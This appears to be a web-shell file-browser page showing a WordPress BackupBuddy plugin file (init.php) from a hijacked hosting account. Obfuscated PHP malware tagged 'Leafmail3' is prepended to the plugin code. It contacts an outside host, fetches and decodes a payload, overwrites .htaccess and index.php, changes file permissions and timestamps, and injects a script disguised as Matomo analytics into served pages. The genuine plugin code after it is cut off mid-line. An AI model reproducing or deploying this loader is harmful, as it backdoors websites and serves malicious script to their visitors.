0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
bonniescraftygifts.com
/
iFzj4
/
configCHM
/
Jump
/
0-aserty
/
beatlesmontreal.com
/
wp-contentebbd3f
/
plugins
/
backupbuddy
/
destinations
/
s32
/
[
Home
]
File: init.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php use Aws\S3\S3Client; // Alias namespace. // DO NOT CALL THIS CLASS DIRECTLY. CALL VIA: pb_backupbuddy_destination in bootstrap.php. class pb_backupbuddy_destination_s32 { // Change class name end to match destination name. const TIME_WIGGLE_ROOM = 6; // Number of seconds to fudge up the time elapsed to give a little wiggle room so we don't accidently hit the edge and time out. const MINIMUM_CHUNK_SIZE = 5; // Minimum size, in MB to allow chunks to be. Anything less will not be chunked even if requested. const BACKUP_FILENAME_PATTERN = '/^backup-.*\.zip/i'; // Used for matching during backup limits, etc to prevent processing non-BackupBuddy files. const MAX_AGE_MULTIPART_UPLOADS = 259200; // Seconds of max age to allow a stalled multipart upload. (72 hours). const STASH_CONFIRM_RETRY_DELAY = 90; // Seconds to wait before retrying the check to confirm a Stash send failed if the initial confirmation failed without an explicit failure reason. public static $destination_info = array( 'name' => 'Amazon S3 (v2)', 'description' => 'Amazon S3 is a well known cloud storage provider. This destination is known to be reliable and works well with BackupBuddy. Supports both bursting and chunking. <a href="http://aws.amazon.com/s3/" target="_blank">Learn more here.</a>', 'category' => 'best', // best, normal, legacy ); private static $_client = ''; private static $_client_signature = ''; private static $_timeStart = 0; private static $_chunksSentThisRound = 0; // Default settings. Should be public static for auto-merging. public static $default_settings = array( 'type' => 's32', // MUST MATCH your destination slug. Required destination field. 'title' => '', // Required destination field. 'accesskey' => '', // Amazon access key. 'secretkey' => '', // Amazon secret key. 'bucket' => '', // Amazon bucket to put into. 'directory' => '', // Subdirectory to put into in addition to the site url directory. 'ssl' => '1', // Whether or not to use SSL encryption for connecting. 'server_encryption' => 'AES256', // Encryption (if any) to have the destination enact. Empty string for none. 'max_time' => '', // Default max time in seconds to allow a send to run for. Set to 0 for no time limit. Aka no chunking. 'max_burst' => '10', // Max size in mb of each burst within the same page load. 'db_archive_limit' => '10', // Maximum number of db backups for this site in this directory for this account. No limit if zero 0. 'full_archive_limit' => '4', // Maximum number of full backups for this site in this directory for this account. No limit if zero 0. 'files_archive_limit' => '4', // Maximum number of files only backups for this site in this directory for this account. No limit if zero 0. 'manage_all_files' => '1', // Allow user to manage all files in S3? If enabled then user can view all files after entering their password. If disabled the link to view all is hidden. 'region' => 's3.amazonaws.com', // Endpoint. Incorrectly named region here. 'storage' => 'STANDARD', // Whether to use standard or reduced redundancy storage. Allowed values: STANDARD, REDUCED_REDUNDANCY 'use_packaged_cert' => '0', // When 1, use the packaged cacert.pem file included with the AWS SDK. 'disable_file_management' => '0', // When 1, _manage.php will not load which renders remote file management DISABLED. //'skip_bucket_prepare' => '0', // when 1, we will skip creating the bucket and making sure it exists before trying to place files. 'max_filelist_keys' => '250', // Maximum number of files to list from server via listObjects calls. 'disabled' => '0', // When 1, disable this destination. 'stash_mode' => '0', // When 1, this destination is wrapped with Stash. 'live_mode' => '0', // When 1, this destination is wrapped in Live. 'max_filelist_keys' => '250', // Maximum number of files to list from server via listObjects calls. // Do not store these for destination settings. Only used to pass to functions in this file. '_multipart_id' => '', // Instance var. Internal use only for continuing a chunked upload. '_multipart_partnumber' => 0, // Instance var. Part number to upload next. '_multipart_etag_parts' => array(), // Instance var. Etags for sent parts. '_multipart_file' => '', // Instance var. Internal use only to store the file that is currently set to be multipart chunked. '_multipart_remotefile' => '', // Instance var. Internal use only to store the remote filepath & file. '_multipart_counts' => array(), // Instance var. Multipart chunks to send. Generated by S3's get_multipart_counts(). '_multipart_transferspeeds' => array(), // Instance var. '_multipart_backup_type' => '', // Instance var. Type: full, db, files '_multipart_backup_size' => '', // Instance var. Total file size in bytes. '_retry_stash_confirm' => false, // Whether or not we need to retry confirming the file has made it to Stash. ); /* _init() * * Load SDK, create S3 client, prepare bucket, format $settings & return settings. * * @param * @return array Array of formatted and sanitized settings. */ private static function _init( $settings ) { //pb_backupbuddy::status( 'details', 'Loading AWS SDK in _init.' ); require_once( dirname( dirname( __FILE__ ) ) . '/_s3lib2/aws-autoloader.php' ); //pb_backupbuddy::status( 'details', 'SDK loaded.' ); $settings = self::_formatSettings( $settings ); // Format all settings. /* echo '<pre>'; print_r( $settings ); echo '</pre>'; */ // If not connected with these exact settings (by comparisong signatue of $settings ) then connect & prepare bucket. //if ( ! isset( self::$_client ) ) { $newSignature = md5( serialize( $settings ) ); if ( $newSignature != self::$_client_signature ) { self::$_client_signature = md5( serialize( $settings ) ); // Base credentials. $s3Config = self::getCredentials( $settings ); // SSL option. if ( '0' == $settings['ssl'] ) { $s3Config['scheme'] = 'http'; pb_backupbuddy::status( 'details', 'SSL disabled.' ); } // Proxy (if applicable) if ( defined( 'WP_PROXY_HOST' ) ) { pb_backupbuddy::status( 'details', 'WordPress proxy setting detecred since WP_PROXY_HOST defined.' ); if ( ! is_array( $s3config['request.options'] ) ) { $s3config['request.options'] = array(); } $s3config['request.options']['proxy'] = WP_PROXY_HOST; if ( defined( 'WP_PROXY_PORT' ) ) { $s3config['request.options']['proxy'] .= ':' . WP_PROXY_PORT; } pb_backupbuddy::status( 'details', 'Calculated proxy URL (before user/pass added): `' . $s3config['request.options']['proxy'] . '`.' ); if ( defined( 'WP_PROXY_USERNAME' ) ) { $s3config['request.options']['proxy'] = WP_PROXY_USERNAME . ':' . WP_PROXY_PASSWORD . '@' . $s3config['request.options']['proxy']; } } $s3Config['signature'] = 'v4'; $s3Config['region'] = str_replace( array( '.amazonaws.com', 's3-' ), '', $settings['region'] ); if ( 's3' == $s3Config['region'] ) { $s3Config['region'] = 'us-east-1'; } $s3Config['version'] = '2006-03-01'; // Some regions now requiring this. // Cannot use this since we STILL need to know the correct region so that v4 signature signing can occur. Catch-22. //$s3Config['endpoint'] = 'https://' . $settings['bucket'] . '.s3.amazonaws.com'; //pb_backupbuddy::status( 'details', 'Using specified region results in endpoint: `' . $s3Config['endpoint'] . '` to connect to.' ); /* echo 's3config:<pre>'; print_r( $s3Config ); echo '</pre>'; */ if ( pb_backupbuddy::$options['log_level'] == '3' ) { // Full logging enabled. //error_log( print_r( $s3Config, true ) ); } self::$_client = S3Client::factory( $s3Config ); self::$_client->getConfig()->set( 'curl.options', array( 'body_as_string' => 